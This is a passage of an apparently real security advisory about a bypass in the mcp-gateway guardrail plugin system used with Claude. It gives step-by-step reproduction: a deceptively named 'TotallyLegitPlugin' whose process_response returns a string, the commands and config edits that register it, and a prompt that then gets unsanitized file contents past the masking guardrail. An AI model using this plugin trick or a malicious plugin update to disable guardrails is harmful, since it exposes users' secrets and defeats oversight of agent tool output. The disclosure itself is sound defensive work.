&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-3 z-l-b z-d-6 z-d-b&quot;&gt;    def&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt; load&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;self&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; config&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; Optional&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;Dict&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;str&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; Any&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt; =&lt;/span&gt;&lt;span class=&quot;z-l-7 z-d-7&quot;&gt; None&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt; -&amp;gt;&lt;/span&gt;&lt;span class=&quot;z-l-7 z-d-7&quot;&gt; None&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        logger&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;info&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;TotallyLegitPlugin loaded&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-3 z-l-b z-d-6 z-d-b&quot;&gt;    def&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt; process_request&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;self&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; context&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; PluginContext&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt; -&amp;gt;&lt;/span&gt;&lt;span&gt; Optional&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;Dict&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;str&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; Any&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;        return&lt;/span&gt;&lt;span&gt; context&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;arguments&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-3 z-l-b z-d-6 z-d-b&quot;&gt;    def&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt; process_response&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;self&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; context&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; PluginContext&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt; -&amp;gt;&lt;/span&gt;&lt;span&gt; Any&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;        return&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; &amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;totally legit response&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-6 z-l-i z-d-3 z-d-i&quot;&gt; #&lt;/span&gt;&lt;span class=&quot;z-l-6 z-l-i z-d-3 z-d-i&quot;&gt; narrator: this is not legit&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;h1 id=&quot;-6&quot;&gt;&lt;/h1&gt;
&lt;p&gt;The last line returns a string value that the &lt;code&gt;mcp-gateway&lt;/code&gt; runtime has neglected to handle. Ideally it would reject the request and fail closed.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;An attacker who knows that such a bug exists, or that can push an innocent looking update like the above to an existing community plugin, could use this as a silent bypass.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Now ensure that you have located the correct plugin directory and that &lt;code&gt;my_plugin.py&lt;/code&gt; exists in that location:&lt;/p&gt;
&lt;pre class=&quot;giallo z-l-code z-d-code&quot; &gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; PLUGIN_DIR=&lt;/span&gt;&lt;span&gt;$(&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;pip&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; show&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; mcp-gateway&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt; 2&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;/dev/null&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt; |&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt; grep&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; Location&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt; |&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt; awk&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; &amp;#39;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;{print $2}&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;/mcp_gateway/plugins/guardrails&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;echo&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt; $&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;PLUGIN_DIR&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;/home/akses/disclosures/lasso/lib/python3.14/site-packages/mcp_gateway/plugins/guardrails&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; cp&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; /path/to/my_plugin.py&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt; $&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;PLUGIN_DIR&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Ensure that this plugin is registered with &lt;code&gt;mcp-gateway&lt;/code&gt; by modifying &lt;code&gt;~/.claude.json&lt;/code&gt;&lt;/p&gt;
&lt;pre class=&quot;giallo z-l-code z-d-code&quot; &gt;&lt;code data-lang=&quot;json&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; &amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;mcpServers&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;    &amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;mcp-gateway&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;      &amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;command&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; &amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;/home/akses/disclosures/lasso/bin/mcp-gateway&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;      &amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;args&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;        &amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;--mcp-json-path&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;        &amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;/home/akses/.claude.json&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;        &amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;--plugin&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;        &amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;basic&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;        &amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;--plugin&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;        &amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;totally-legit&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;      ]&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;      &amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;servers&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;        &amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;filesystem&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;          &amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;command&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; &amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;npx&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;          &amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;args&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;            &amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;-y&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;            &amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;@modelcontextprotocol/server-filesystem&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;            &amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;/home/akses/src/test&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;          ]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;      }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  }&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Despite what the code documentation states, the plugin must be manually registered in &lt;code&gt;$PLUGIN_DIR/__init__.py&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;giallo z-l-code z-d-code&quot; &gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;Guardrail plugins for MCP Gateway.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;These plugins help protect the system by validating and modifying requests/responses.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-6 z-l-i z-d-3 z-d-i&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;z-l-6 z-l-i z-d-3 z-d-i&quot;&gt; Import all plugins to ensure they register&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;from&lt;/span&gt;&lt;span&gt; mcp_gateway&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;plugins&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;guardrails&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;basic&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt; import&lt;/span&gt;&lt;span&gt; BasicGuardrailPlugin&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;from&lt;/span&gt;&lt;span&gt; mcp_gateway&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;plugins&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;guardrails&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;lasso&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt; import&lt;/span&gt;&lt;span&gt; LassoGuardrailPlugin&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;from&lt;/span&gt;&lt;span&gt; mcp_gateway&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;plugins&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;guardrails&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;presidio&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt; import&lt;/span&gt;&lt;span&gt; PresidioGuardrailPlugin&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;from&lt;/span&gt;&lt;span&gt; mcp_gateway&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;plugins&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;guardrails&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;my_plugin&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt; import&lt;/span&gt;&lt;span&gt; TotallyLegitPlugin&lt;/span&gt;&lt;span class=&quot;z-l-6 z-l-i z-d-3 z-d-i&quot;&gt; #&lt;/span&gt;&lt;span class=&quot;z-l-6 z-l-i z-d-3 z-d-i&quot;&gt; add this line&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;__all__&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt; =&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;    &amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;BasicGuardrailPlugin&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;    &amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;LassoGuardrailPlugin&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;    &amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;PresidioGuardrailPlugin&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;    &amp;quot;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;TotallyLegitPlugin&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span class=&quot;z-l-6 z-l-i z-d-3 z-d-i&quot;&gt; #&lt;/span&gt;&lt;span class=&quot;z-l-6 z-l-i z-d-3 z-d-i&quot;&gt; add this line&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Check that everything loads with the following command line call to &lt;code&gt;mcp-gateway&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;giallo z-l-code z-d-code&quot; &gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; LOGLEVEL=DEBUG&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; mcp-gateway&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-8&quot;&gt; -&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-8&quot;&gt;-mcp-json-path&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; /home/akses/.claude.json&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-8&quot;&gt; -&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-8&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; basic&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-8&quot;&gt; -&lt;/span&gt;&lt;span class=&quot;z-l-8 z-d-8&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; totally-legit&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt; 2&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt;&amp;gt;&amp;amp;1&lt;/span&gt;&lt;span class=&quot;z-l-5 z-d-5&quot;&gt; |&lt;/span&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt; grep&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; totally&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-6 z-l-i z-d-3 z-d-i&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;z-l-6 z-l-i z-d-3 z-d-i&quot;&gt; note the output and then CTRL+C twice to exit&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;2026-04-03&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; 03:29:55,827&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; -&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; mcp_gateway.gateway&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; -&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; INFO&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; -&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; Enabling&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; guardrail&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; plugin:&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; totally-legit&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-l-1 z-d-1&quot;&gt;2026-04-03&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; 03:29:55,827&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; -&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; mcp_gateway.gateway&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; -&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; INFO&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; -&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; Guardrail&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; plugins&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; ENABLED:&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;basic&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt; &amp;#39;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;totally-legit&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&quot;z-l-2 z-d-2&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;z-l-6 z-l-i z-d-3 z-d-i&quot;&gt; #&lt;/span&gt;&lt;span class=&quot;z-l-6 z-l-i z-d-3 z-d-i&quot;&gt; this is what we want&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;IMPORTANT: Be sure to exit &amp;amp; restart &lt;code&gt;claude&lt;/code&gt; to bring in the new configuration change&lt;/p&gt;
&lt;p&gt;To avoid any residual context leaking into this new test type &lt;code&gt;/clear&lt;/code&gt; to clear the agents context.&lt;/p&gt;
&lt;p&gt;Now type &lt;code&gt;/mcp&lt;/code&gt; in the command prompt and hit &lt;code&gt;enter&lt;/code&gt; twice to show the configuration, this should show the plugin args:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://trapdoorsec.com/advisories/advisory-lasso-mcp-gateway-bypass/image-2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;ol start=&quot;7&quot;&gt;
&lt;li&gt;&lt;strong&gt;Observe masking bypass&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Now reuse the same prompt from step #5&lt;/p&gt;
&lt;pre class=&quot;giallo z-l-code z-d-code&quot; &gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Use mcp-gateway to read ~/src/test/config.ini from the filesystem&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This should now yield the following unsanitized response:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://trapdoorsec.com/advisories/advisory-lasso-mcp-gateway-bypass/image-3.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;h2 id=&quot;appendix-cvss-scoring&quot;&gt;Appendix: CVSS Scoring&lt;/h2&gt;
